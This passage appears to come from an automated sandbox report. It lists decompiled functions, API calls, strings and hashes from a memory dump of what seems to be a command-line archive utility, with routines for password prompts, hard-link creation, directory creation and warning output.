							E0123C2ED( *((intOrPtr*)(_t115 - 0x10)),  *((intOrPtr*)( *((intOrPtr*)(_t115 - 0x1c)) + _t112 * 4)),  *((intOrPtr*)(_t115 + 0xc)),  *((intOrPtr*)(_t115 + 0x10)),  *((intOrPtr*)(_t115 + 0x14)));
							_t112 = _t112 + 1;
							__eflags = _t112 -  *(_t115 - 0x18);
						} while (_t112 <  *(_t115 - 0x18));
					}
				} else {
					_t125 =  *(_t115 - 0x18) & 0x00000001;
					if(( *(_t115 - 0x18) & 0x00000001) != 0) {
						_push(_t109);
						_push( *0x1268668);
						E01248A22(_t115 - 0x34, _t125);
						_push(0x126ded0);
						_push(_t115 - 0x34);
						L01263CAC();
					}
					_t126 =  *(_t115 - 0x18) - _t112;
					if( *(_t115 - 0x18) > _t112) {
						do {
							_push( *((intOrPtr*)(_t115 + 0x14)));
							_push( *((intOrPtr*)(_t115 + 0x10)));
							_push( *((intOrPtr*)( *((intOrPtr*)(_t115 - 0x1c)) + 4 + _t112 * 4)));
							E0123C472(_t83,  *((intOrPtr*)( *((intOrPtr*)(_t115 - 0x1c)) + _t112 * 4)), _t126);
							_t112 = _t112 + 2;
						} while (_t112 <  *(_t115 - 0x18));
					}
				}
				 *(_t115 - 4) =  *(_t115 - 4) | 0xffffffff;
				_t62 = E01248B2E(_t83, _t115 - 0x1c);
				 *[fs:0x0] =  *((intOrPtr*)(_t115 - 0xc));
				return _t62;
			}

0x0123c536
0x0123c540
0x0123c543
0x0123c546
0x0123c548
0x0123c54b
0x0123c54e
0x0123c551
0x0123c554
0x0123c559
0x0123c55e
0x0123c560
0x0123c562
0x0123c566
0x0123c56c
0x0123c574
0x0123c579
0x0123c57a
0x0123c57a
0x0123c585
0x0123c588
0x0123c58b
0x0123c595
0x0123c59b
0x0123c59e
0x0123c5a3
0x0123c5b0
0x0123c5b4
0x0123c5bc
0x0123c5c7
0x0123c5d0
0x0123c5d4
0x0123c5d9
0x0123c5e0
0x0123c5e6
0x0123c5ea
0x0123c5ed
0x0123c5f5
0x0123c5fa
0x0123c5fb
0x0123c5fb
0x0123c600
0x0123c604
0x0123c60a
0x0123c612
0x0123c617
0x0123c618
0x0123c618
0x0123c61f
0x0123c66c
0x0123c66f
0x0123c671
0x0123c683
0x0123c688
0x0123c689
0x0123c689
0x0123c671
0x0123c621
0x0123c621
0x0123c625
0x0123c627
0x0123c62b
0x0123c631
0x0123c639
0x0123c63e
0x0123c63f
0x0123c63f
0x0123c644
0x0123c647
0x0123c649
0x0123c649
0x0123c64f
0x0123c659
0x0123c65e
0x0123c664
0x0123c665
0x0123c66a
0x0123c647
0x0123c68e
0x0123c695
0x0123c6a0
0x0123c6a8

APIs

__EH_prolog.LIBCMT ref: 0123C536

Part of subcall function 01236177: __EH_prolog.LIBCMT ref: 0123617C

_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123C57A
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123C5FB
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123C618
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123C63F

Part of subcall function 01248A22: __EH_prolog.LIBCMT ref: 01248A27

Strings

The file operation error for listfile, xrefs: 0123C5A8

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionThrow$H_prolog
String ID: The file operation error for listfile
API String ID: 206451386-4247703111
Opcode ID: 63cd95bfdf60cb0cbbe9252a7c78b38514c021c05abc88c3228bf558b703767c
Instruction ID: 3c8024e13ec670f057bb6ab4bd7af06e01d680f0e8fc9f7fe7bc927ccf8bfdba
Opcode Fuzzy Hash: 63cd95bfdf60cb0cbbe9252a7c78b38514c021c05abc88c3228bf558b703767c
Instruction Fuzzy Hash: 32415EB192021EEFCF15EFD4D9409EEBB79AFA8700F104019E901B3294DB705A95DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01234F0C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E01234F0C(intOrPtr __ecx, intOrPtr __edx) {
				_Unknown_base(*)()* _t31;
				signed int _t32;
				void* _t43;
				void* _t62;
				void* _t65;
				void* _t67;

				E012639E0(E0126449C, _t67);
				 *((intOrPtr*)(_t67 - 0x10)) = __edx;
				 *((intOrPtr*)(_t67 - 0x14)) = __ecx;
				_t31 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "CreateHardLinkW");
				 *(_t67 - 0x18) = _t31;
				if(_t31 == 0) {
					L14:
					_t32 = 0;
				} else {
					_t65 = E01237553( *((intOrPtr*)(_t67 - 0x14)));
					_t62 = E01237553( *((intOrPtr*)(_t67 - 0x10)));
					if(_t65 == 1 || _t62 == 1) {
						L5:
						if(_t65 != 0 || _t62 != 0) {
							E012328E9(_t67 - 0x30);
							 *(_t67 - 4) =  *(_t67 - 4) & 0x00000000;
							E012328E9(_t67 - 0x24);
							 *(_t67 - 4) = 1;
							if(_t65 != 1 && _t62 != 1) {
								_push(1);
								_pop(0);
							}
							if(E01237BC8( *((intOrPtr*)(_t67 - 0x14)),  *((intOrPtr*)(_t67 - 0x10)), _t67 - 0x30, _t67 - 0x24, 0) == 0) {
								E01231ABD(E01231ABD(_t40,  *((intOrPtr*)(_t67 - 0x24))),  *((intOrPtr*)(_t67 - 0x30)));
								goto L14;
							} else {
								_t43 =  *(_t67 - 0x18)( *((intOrPtr*)(_t67 - 0x30)),  *((intOrPtr*)(_t67 - 0x24)), 0);
								_t32 = E01231ABD(E01231ABD(_t43,  *((intOrPtr*)(_t67 - 0x24))),  *((intOrPtr*)(_t67 - 0x30))) & 0xffffff00 | _t43 != 0x00000000;
							}
						} else {
							goto L14;
						}
					} else {
						_push(0);
						_push( *((intOrPtr*)(_t67 - 0x10)));
						_push( *((intOrPtr*)(_t67 - 0x14)));
						if( *(_t67 - 0x18)() == 0) {
							goto L5;
						} else {
							_t32 = 1;
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return _t32;
			}

0x01234f11
0x01234f20
0x01234f23
0x01234f32
0x01234f3a
0x01234f3d
0x01234ff8
0x01234ff8
0x01234f43
0x01234f4e
0x01234f58
0x01234f5a
0x01234f77
0x01234f79
0x01234f82
0x01234f87
0x01234f8e
0x01234f96
0x01234f9a
0x01234fa1
0x01234fa3
0x01234fa3
0x01234fbe
0x01234ff1
0x00000000
0x01234fc0
0x01234fc8
0x01234fe1
0x01234fe1
0x00000000
0x00000000
0x00000000
0x01234f61
0x01234f61
0x01234f63
0x01234f66
0x01234f6e
0x00000000
0x01234f70
0x01234f70
0x01234f70
0x01234f6e
0x01234f5a
0x01234fff
0x01235007

APIs

__EH_prolog.LIBCMT ref: 01234F11
GetModuleHandleW.KERNEL32(kernel32.dll,CreateHardLinkW), ref: 01234F2B
GetProcAddress.KERNEL32(00000000), ref: 01234F32

Strings

Nqt, xrefs: 01234F32
kernel32.dll, xrefs: 01234F26
CreateHardLinkW, xrefs: 01234F1B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressH_prologHandleModuleProc
String ID: CreateHardLinkW$kernel32.dll$Nqt
API String ID: 786088110-2459700740
Opcode ID: 1603076df1c9410bbea0a91ca0c4f8dd5c2181dfe863396b09820e5a1a9f2a11
Instruction ID: 77ba97a9357947bd6388107b60739c6191eac19e3c3cea73683383fd6e7a5890
Opcode Fuzzy Hash: 1603076df1c9410bbea0a91ca0c4f8dd5c2181dfe863396b09820e5a1a9f2a11
Instruction Fuzzy Hash: AD21D7B2D30297ABDF25FBA8CC09EFEBBB5AF94640F140155EA01B2190CB715D41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0125AE11 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0125AE11() {
				void* _t39;
				intOrPtr _t54;
				struct _CRITICAL_SECTION* _t74;
				intOrPtr _t78;
				void* _t81;

				E012639E0(0x12670f8, _t81);
				_t74 = 0x12746e0;
				 *(_t81 - 0x10) = 0x12746e0;
				EnterCriticalSection(0x12746e0);
				 *((intOrPtr*)(_t81 - 4)) = 0;
				if( *((intOrPtr*)(_t81 + 0xc)) != 0) {
					_t78 =  *((intOrPtr*)(_t81 + 8));
					 *((intOrPtr*)(_t78 + 0x160)) =  *((intOrPtr*)(_t78 + 0x160)) + 1;
					asm("adc [eax+0x4], ebx");
					 *((intOrPtr*)(_t78 + 0x158)) =  *((intOrPtr*)(_t78 + 0x158)) + 1;
					asm("adc [eax+0x4], ebx");
					if( *(_t78 + 0xcc) != 0) {
						E0125A997(_t78);
						E0123232F(_t81 - 0x1c);
						 *((char*)(_t81 - 4)) = 1;
						E0125AD37( *((intOrPtr*)(_t81 + 0xc)),  *((intOrPtr*)(_t81 + 0x10)), _t81 - 0x1c);
						fputs( *(_t81 - 0x1c),  *( *(_t78 + 0xcc)));
						if( *((intOrPtr*)(_t78 + 0x110)) != 0) {
							fputs(" : ",  *( *(_t78 + 0xcc)));
							E01231E52(_t78 + 0x10c);
						}
						E01231CAE( *(_t78 + 0xcc));
						E01231ABD(E01231C9F( *(_t78 + 0xcc)),  *(_t81 - 0x1c));
						_t74 = 0x12746e0;
					}
				} else {
					_t54 =  *((intOrPtr*)(_t81 + 8));
					if( *((intOrPtr*)(_t54 + 0xbc)) != 0) {
						 *((intOrPtr*)(_t54 + 0x34)) = 0;
						 *((char*)( *((intOrPtr*)(_t54 + 0x30)))) = 0;
						 *((intOrPtr*)(_t54 + 0x40)) = 0;
						 *((short*)( *((intOrPtr*)(_t54 + 0x3c)))) = 0;
						 *((intOrPtr*)(_t54 + 0x28)) =  *((intOrPtr*)(_t54 + 0x28)) + 1;
						asm("adc [eax+0x2c], ebx");
					}
				}
				_t39 = E0125A3B2();
				LeaveCriticalSection(_t74);
				 *[fs:0x0] =  *((intOrPtr*)(_t81 - 0xc));
				return _t39;
			}

0x0125ae16
0x0125ae21
0x0125ae27
0x0125ae2a
0x0125ae35
0x0125ae38
0x0125ae66
0x0125ae69
0x0125ae76
0x0125ae79
0x0125ae86
0x0125ae8f
0x0125ae97
0x0125ae9f
0x0125aead
0x0125aeb2
0x0125aec8
0x0125aed2
0x0125aee1
0x0125aef2
0x0125aef2
0x0125aefd
0x0125af10
0x0125af16
0x0125af16
0x0125ae3a
0x0125ae3a
0x0125ae43
0x0125ae4c
0x0125ae4f
0x0125ae54
0x0125ae57
0x0125ae5a
0x0125ae5e
0x0125ae5e
0x0125ae43
0x0125af1b
0x0125af23
0x0125af31
0x0125af39

APIs

__EH_prolog.LIBCMT ref: 0125AE16
EnterCriticalSection.KERNEL32(012746E0), ref: 0125AE2A
fputs.MSVCRT ref: 0125AEC8
fputs.MSVCRT ref: 0125AEE1
LeaveCriticalSection.KERNEL32(012746E0), ref: 0125AF23

Strings

: , xrefs: 0125AEDC

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CriticalSectionfputs$EnterH_prologLeave
String ID: :
API String ID: 3914623533-3653984579
Opcode ID: e51e3b20a632b8afe6f9fc37a78fafdb1922c3ba8a53e1823961f5b3d97f2dae
Instruction ID: 5da898f8f3d94efc212a2682d523f64cb4b7e92ee9b03fa14fbcde480af83b09
Opcode Fuzzy Hash: e51e3b20a632b8afe6f9fc37a78fafdb1922c3ba8a53e1823961f5b3d97f2dae
Instruction Fuzzy Hash: 5031AD71911746CFC755EF69D880EAAB7B5FF84314F10856EE91A8B291CB30A801CF20

Uniqueness

Uniqueness Score: -1.00%

Function 0125B1E7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0125B1E7(struct _IO_FILE** __ecx, void* __edx, void* __eflags) {
				signed int _t30;
				char* _t32;
				char* _t36;
				void* _t41;
				struct _IO_FILE** _t45;
				void* _t66;
				intOrPtr _t69;
				signed int _t70;
				void* _t73;

				E012639E0(0x1267134, _t73);
				_t69 =  *((intOrPtr*)(_t73 + 8));
				_t45 = __ecx;
				_t66 = __edx;
				fputs("WARNING:\n",  *__ecx);
				E01231E52(_t69 + 0x70);
				E012328E9(_t73 - 0x18);
				_t30 =  *(_t69 + 0x1c);
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				if( *(_t69 + 0x94) != _t30) {
					if(_t30 >= 0) {
						_t32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t66 + 0x28)) + _t30 * 4)) + 0xc));
					} else {
						_t32 = "#";
					}
					E0125B1AC(_t73 - 0x18, "Can not open the file", _t32);
					_t70 =  *(_t69 + 0x94);
					if(_t70 >= 0) {
						_t36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t66 + 0x28)) + _t70 * 4)) + 0xc));
					} else {
						_t36 = "#";
					}
					E0125B1AC(_t73 - 0x18, "The file is open", _t36);
				} else {
					E01232BFE(_t73 - 0x18);
					E01232CAD(_t73 - 0x18, "The archive is open with offset");
				}
				_push( *((intOrPtr*)(_t73 - 0x18)));
				E01231CAE(E01231CC1(_t45));
				_t41 = E01231ABD(E01231CAE(_t38),  *((intOrPtr*)(_t73 - 0x18)));
				 *[fs:0x0] =  *((intOrPtr*)(_t73 - 0xc));
				return _t41;
			}

0x0125b1ec
0x0125b1f6
0x0125b1f9
0x0125b1fc
0x0125b205
0x0125b213
0x0125b21b
0x0125b220
0x0125b223
0x0125b22d
0x0125b248
0x0125b257
0x0125b24a
0x0125b24a
0x0125b24a
0x0125b263
0x0125b268
0x0125b270
0x0125b27f
0x0125b272
0x0125b272
0x0125b272
0x0125b28b
0x0125b22f
0x0125b232
0x0125b23f
0x0125b23f
0x0125b290
0x0125b29e
0x0125b2ad
0x0125b2b9
0x0125b2c1

APIs

__EH_prolog.LIBCMT ref: 0125B1EC
fputs.MSVCRT ref: 0125B205

Strings

The file is open, xrefs: 0125B283
The archive is open with offset, xrefs: 0125B23A
WARNING:, xrefs: 0125B200
Can not open the file, xrefs: 0125B25B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prologfputs
String ID: Can not open the file$The archive is open with offset$The file is open$WARNING:
API String ID: 1798449854-3393983761
Opcode ID: bc3e77472f71769b9cd15afbbba2b2bcace1b8f71c3b0f56253c9e8798405011
Instruction ID: 1b927d74fcb24a1a2c96defaeb2c306528755da2f46e725a45eab2667dadebc4
Opcode Fuzzy Hash: bc3e77472f71769b9cd15afbbba2b2bcace1b8f71c3b0f56253c9e8798405011
Instruction Fuzzy Hash: 3521C671A20502DFCB55EFA8C8819BEB7F9FF98350F004469E906E7691DB30AC528B91

Uniqueness

Uniqueness Score: -1.00%

Function 01262E70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E01262E70(void* __ebx, struct _IO_FILE** __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v5;
				long _v12;
				struct _IO_FILE** _v16;
				intOrPtr _v20;
				void* __ebp;
				void* _t16;
				void* _t29;
				signed int _t30;
				void* _t41;
				struct _IO_FILE** _t44;
				signed int _t52;

				_t29 = __ebx;
				_t44 = __ecx;
				_v20 = __edx;
				_v16 = __ecx;
				if(__ecx != 0) {
					fputs("\nEnter password (will not be echoed):",  *__ecx);
					E01231C9F(_t44);
				}
				_push(_t29);
				_t16 = GetStdHandle(0xfffffff6);
				_v12 = _v12 & 0x00000000;
				_t41 = _t16;
				_t30 = 0;
				if(_t41 != 0xffffffff && _t41 != 0 && GetConsoleMode(_t41,  &_v12) != 0) {
					_t8 = SetConsoleMode(_t41, _v12 & 0x000000fb) != 0;
					_t52 = _t8;
					_t30 = 0 | _t8;
				}
				_push(_v20);
				_v5 = E01231B89(0x1274430, _t52);
				if(_t30 != 0) {
					SetConsoleMode(_t41, _v12);
				}
				if(_v16 != 0) {
					E01231CAE(_v16);
					E01231C9F(_v16);
				}
				return _v5;
			}

0x01262e70
0x01262e77
0x01262e7c
0x01262e7f
0x01262e82
0x01262e8b
0x01262e95
0x01262e95
0x01262e9a
0x01262e9d
0x01262ea3
0x01262ead
0x01262eaf
0x01262eb4
0x01262ed4
0x01262ed4
0x01262ed4
0x01262ed4
0x01262ed7
0x01262ee6
0x01262eea
0x01262ef0
0x01262ef0
0x01262ef8
0x01262efd
0x01262f05
0x01262f05
0x01262f0e

APIs

fputs.MSVCRT ref: 01262E8B

Part of subcall function 01231C9F: fflush.MSVCRT ref: 01231CA1

GetStdHandle.KERNEL32(000000F6), ref: 01262E9D
GetConsoleMode.KERNEL32(00000000,00000000), ref: 01262EBF
SetConsoleMode.KERNEL32(00000000,00000000), ref: 01262ED0
SetConsoleMode.KERNEL32(00000000,00000000), ref: 01262EF0

Strings

Enter password (will not be echoed):, xrefs: 01262E86

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ConsoleMode$Handlefflushfputs
String ID: Enter password (will not be echoed):
API String ID: 108775803-3720017889
Opcode ID: 380b15243239b9c399b83cb0f0e35712f4183b8f7ff1b8ea78252e14cb224a11
Instruction ID: 0128d5cfa9b53a96b019e0b049ccab1edb5a265ec67220b8a4eaaf8a0617ac11
Opcode Fuzzy Hash: 380b15243239b9c399b83cb0f0e35712f4183b8f7ff1b8ea78252e14cb224a11
Instruction Fuzzy Hash: E4114832D1021BFBDB11ABA8EC04ABEBFBDEF80620F048559EA10A31D4CB301991CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0125AA9F Relevance: 9.1, APIs: 6, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0125AA9F(void* __ecx, void* __edx) {
				intOrPtr _t52;
				intOrPtr _t53;
				void* _t54;
				void* _t77;
				intOrPtr _t79;
				signed char* _t81;
				void* _t86;
				signed char** _t89;
				char** _t111;
				intOrPtr* _t112;
				intOrPtr _t115;
				void* _t118;

				E012639E0(0x12670c8, _t118);
				_push(__ecx);
				 *(_t118 - 0x10) = 0x12746e0;
				EnterCriticalSection(0x12746e0);
				_t115 =  *((intOrPtr*)(_t118 + 8));
				_t81 = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				E01232A28(_t115 + 0x10c,  *((intOrPtr*)(_t118 + 0xc)));
				_t52 =  *((intOrPtr*)(_t118 + 0x14));
				_t86 = 1;
				if(_t52 == 0) {
					_t53 =  *0x126aa24; // 0x12686f0
					L8:
					 *((intOrPtr*)(_t118 + 0x14)) = _t53;
					L9:
					if( *((intOrPtr*)(_t115 + 0x170)) < _t86 ||  *(_t115 + 0xc8) == _t81) {
						 *(_t118 + 0xb) =  *(_t118 + 0xb) & 0x00000000;
					} else {
						 *(_t118 + 0xb) = 1;
						E0125AC6E(_t115);
						_t111 = _t115 + 0xf4;
						E012323B0(_t111,  *((intOrPtr*)(_t118 + 0x14)));
						if( *((intOrPtr*)(_t118 + 0xc)) != _t81) {
							E012324BF();
						}
						fputs( *_t111,  *( *(_t115 + 0xc8)));
						_t112 = _t115 + 0x100;
						 *((intOrPtr*)(_t112 + 4)) = 0;
						 *((short*)( *_t112)) = 0;
						if( *((intOrPtr*)(_t118 + 0xc)) != 0) {
							E01232A28(_t112,  *((intOrPtr*)(_t118 + 0xc)));
							E01231DE0( *(_t115 + 0xc8), _t112);
						}
						E01231D87( *(_t115 + 0xc8), _t112, _t115 + 0xf4);
						if( *((intOrPtr*)(_t118 + 0x18)) != 0) {
							fputs(" <",  *( *(_t115 + 0xc8)));
							fputs(">",  *(E01231F47( *(_t115 + 0xc8),  *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x18)))),  *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x18)) + 4)))));
						}
						E01231CAE( *(_t115 + 0xc8));
						if( *((char*)(_t115 + 0x168)) != 0) {
							E01231C9F( *(_t115 + 0xc8));
						}
						_t81 = 0;
					}
					if( *((intOrPtr*)(_t115 + 0xbc)) != _t81) {
						if( *((intOrPtr*)(_t115 + 0x16c)) >= 1) {
							_t110 = _t115 + 0x3c;
							_t89 = _t115 + 0x30;
							 *(_t115 + 0x40) = _t81;
							 *( *(_t115 + 0x3c)) = _t81;
							_t89[1] = _t81;
							 *( *_t89) =  *( *_t89) & 0x00000000;
							if( *((intOrPtr*)(_t115 + 0x16c)) > 1 ||  *(_t118 + 0xb) == 0) {
								E012323B0(_t89,  *((intOrPtr*)(_t118 + 0x14)));
								if( *((intOrPtr*)(_t118 + 0xc)) != _t81) {
									E01232A28(_t110,  *((intOrPtr*)(_t118 + 0xc)));
								}
							}
						}
						E0126196E(_t115 + 0x18);
					}
					_t54 = E0125A3B2();
					LeaveCriticalSection(0x12746e0);
					 *[fs:0x0] =  *((intOrPtr*)(_t118 - 0xc));
					return _t54;
				}
				_t77 = _t52 - 1;
				if(_t77 == 0) {
					_t53 =  *0x126aa20; // 0x126ad20
					goto L8;
				} else {
					if(_t77 == 1) {
						_t79 =  *0x126aa28; // 0x12695c8
						 *((intOrPtr*)(_t118 + 0x14)) = _t79;
					} else {
						 *((intOrPtr*)(_t118 + 0x14)) = "???";
					}
					_t86 = 2;
					goto L9;
				}
			}

0x0125aaa4
0x0125aaa9
0x0125aab3
0x0125aab6
0x0125aabc
0x0125aac2
0x0125aaca
0x0125aacd
0x0125aad7
0x0125aad9
0x0125aada
0x0125aaff
0x0125ab04
0x0125ab04
0x0125ab07
0x0125ab0d
0x0125ac65
0x0125ab1f
0x0125ab21
0x0125ab25
0x0125ab2d
0x0125ab35
0x0125ab3d
0x0125ab41
0x0125ab41
0x0125ab56
0x0125ab59
0x0125ab67
0x0125ab6a
0x0125ab6d
0x0125ab74
0x0125ab80
0x0125ab80
0x0125ab93
0x0125ab9c
0x0125abab
0x0125abc5
0x0125abc8
0x0125abcf
0x0125abdb
0x0125abe3
0x0125abe3
0x0125abe8
0x0125abe8
0x0125abf0
0x0125abf9
0x0125abfe
0x0125ac01
0x0125ac04
0x0125ac07
0x0125ac0c
0x0125ac0f
0x0125ac19
0x0125ac24
0x0125ac2c
0x0125ac33
0x0125ac33
0x0125ac2c
0x0125ac19
0x0125ac3b
0x0125ac3b
0x0125ac40
0x0125ac4c
0x0125ac5a
0x0125ac62
0x0125ac62
0x0125aadc
0x0125aadd
0x0125aaf8
0x00000000
0x0125aadf
0x0125aae0
0x0125aaee
0x0125aaf3
0x0125aae2
0x0125aae2
0x0125aae2
0x0125aaeb
0x00000000
0x0125aaeb

APIs

__EH_prolog.LIBCMT ref: 0125AAA4
EnterCriticalSection.KERNEL32(012746E0), ref: 0125AAB6
fputs.MSVCRT ref: 0125AB56
fputs.MSVCRT ref: 0125ABAB
fputs.MSVCRT ref: 0125ABC5
LeaveCriticalSection.KERNEL32(012746E0,?), ref: 0125AC4C

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$CriticalSection$EnterH_prologLeave
String ID:
API String ID: 1850570545-0
Opcode ID: 41b1c5b1c3ca61a74540784ad24776e216a81dc716653eda286c4a4c1c6860db
Instruction ID: b6b07ce05462cac81ed53848e21f069039e97033477a789b91b326abe021ea86
Opcode Fuzzy Hash: 41b1c5b1c3ca61a74540784ad24776e216a81dc716653eda286c4a4c1c6860db
Instruction Fuzzy Hash: 0E51D331220306DFDB65DF64D9C5BAABBF2FF58301F00851EE94A57290DB70A854CB51

Uniqueness

Uniqueness Score: -1.00%

Function 012351DF Relevance: 9.1, APIs: 6, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E012351DF(WCHAR* __ecx) {
				long _t29;
				long _t32;
				signed char _t34;
				signed int _t35;
				long _t37;
				long _t41;
				long _t43;
				signed char _t48;
				long _t67;
				WCHAR* _t70;
				void* _t72;

				E012639E0(E012644F3, _t72);
				_t70 = __ecx;
				_t67 = E01237553(__ecx);
				if(_t67 == 1) {
					L4:
					__eflags = _t67;
					if(_t67 == 0) {
						L16:
						_t29 = GetLastError();
						__eflags = _t29 - 0xb7;
						if(_t29 == 0xb7) {
							E01235C60(_t72 - 0x88);
							E012328E9(_t72 - 0x60);
							 *(_t72 - 4) = 2;
							_t32 = E01235D00(_t72 - 0x88, __eflags, _t70);
							__eflags = _t32;
							if(_t32 != 0) {
								_t48 =  *(_t72 - 0x68) >> 0x00000004 & 0x00000001;
								__eflags = _t48;
							} else {
								_t48 = 0;
							}
							_push( *((intOrPtr*)(_t72 - 0x60)));
							L22:
							E01231ABD(_t32);
							_t34 = _t48;
							L23:
							 *[fs:0x0] =  *((intOrPtr*)(_t72 - 0xc));
							return _t34;
						}
						_t34 = 0;
						goto L23;
					}
					_t35 = E012328E9(_t72 - 0x18);
					 *(_t72 - 4) =  *(_t72 - 4) & 0x00000000;
					__eflags = _t67 - 1;
					_t37 = E0123765C(_t70, _t72 - 0x18, _t72, _t35 & 0xffffff00 | _t67 != 0x00000001);
					__eflags = _t37;
					if(_t37 == 0) {
						_t17 = _t72 - 4;
						 *_t17 =  *(_t72 - 4) | 0xffffffff;
						__eflags =  *_t17;
						E01231ABD(_t37,  *(_t72 - 0x18));
						goto L16;
					}
					_t32 = CreateDirectoryW( *(_t72 - 0x18), 0);
					__eflags = _t32;
					if(_t32 == 0) {
						_t32 = GetLastError();
						__eflags = _t32 - 0xb7;
						if(_t32 == 0xb7) {
							E01235C60(_t72 - 0x50);
							E012328E9(_t72 - 0x28);
							 *(_t72 - 4) = 1;
							_t41 = E01235D00(_t72 - 0x50, __eflags,  *(_t72 - 0x18));
							__eflags = _t41;
							if(_t41 != 0) {
								_t48 =  *(_t72 - 0x30) >> 0x00000004 & 0x00000001;
								__eflags = _t48;
							} else {
								_t48 = 0;
							}
							_t32 = E01231ABD(_t41,  *((intOrPtr*)(_t72 - 0x28)));
						} else {
							_t48 = 0;
						}
					} else {
						_t48 = 1;
					}
					_push( *(_t72 - 0x18));
					goto L22;
				}
				if(CreateDirectoryW(__ecx, 0) == 0) {
					_t43 = GetLastError();
					__eflags = _t43 - 0xb7;
					if(_t43 == 0xb7) {
						goto L16;
					}
					goto L4;
				}
				_t34 = 1;
				goto L23;
			}

0x012351e4
0x012351ef
0x012351fc
0x01235201
0x01235224
0x01235224
0x01235226
0x012352b8
0x012352b8
0x012352ba
0x012352bf
0x012352cb
0x012352d3
0x012352df
0x012352e6
0x012352eb
0x012352ed
0x012352f9
0x012352f9
0x012352ef
0x012352ef
0x012352ef
0x012352fc
0x012352ff
0x012352ff
0x01235305
0x01235307
0x0123530d
0x01235315
0x01235315
0x012352c1
0x00000000
0x012352c1
0x0123522f
0x01235234
0x01235238
0x01235244
0x01235249
0x0123524b
0x012352ae
0x012352ae
0x012352ae
0x012352b2
0x00000000
0x012352b7
0x01235252
0x01235258
0x0123525a
0x01235260
0x01235262
0x01235267
0x01235270
0x01235278
0x01235283
0x01235287
0x0123528c
0x0123528e
0x0123529a
0x0123529a
0x01235290
0x01235290
0x01235290
0x012352a0
0x01235269
0x01235269
0x01235269
